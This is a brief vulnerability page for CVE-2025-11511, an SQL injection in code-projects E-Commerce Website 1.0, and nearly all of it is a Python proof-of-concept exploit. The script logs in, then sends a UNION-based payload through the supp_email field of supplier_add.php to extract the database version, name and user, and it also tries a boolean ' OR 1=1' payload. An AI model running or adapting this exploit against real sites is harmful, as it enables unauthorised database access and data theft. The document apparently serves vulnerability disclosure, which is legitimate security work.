CVE-2025-11511：code-projects E-Commerce Website 1.0 SQL注入漏洞

# CVE-2025-11511 SQL Injection PoC # Target: code-projects E-Commerce Website 1.0 # Vulnerable file: /pages/supplier_add.php # Vulnerable parameter: supp_email import requests # Target configuration TARGET_URL = "http://target-ecommerce.com/pages/supplier_add.php" USERNAME = "test_user" # Low privilege account required PASSWORD = "test_password" # Step 1: Login to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post("http://target-ecommerce.com/login.php", data=login_data) # Step 2: Craft SQL injection payload # Using UNION-based injection to extract database version sql_payload = "' UNION SELECT 1,version(),database(),user(),5,6,7,8,9,10-- -" # Step 3: Send malicious request with injected supp_email parameter injection_data = { "supp_name": "Test Supplier", "supp_email": sql_payload, "supp_contact": "1234567890", "supp_address": "Test Address", "submit": "Add Supplier" } response = session.post(TARGET_URL, data=injection_data) # Step 4: Check response for leaked database information if "MySQL" in response.text or "MariaDB" in response.text: print("[+] SQL Injection successful!") print("[+] Database information leaked in response") else: print("[-] Injection attempt failed or database type unknown") # Alternative: Boolean-based blind injection payload blind_payload = "' OR 1=1-- -" blind_data = { "supp_name": "Test", "supp_email": blind_payload, "supp_contact": "1234567890", "supp_address": "Test", "submit": "Add" } response_blind = session.post(TARGET_URL, data=blind_data) print(f"[+] Blind injection response status: {response_blind.status_code}")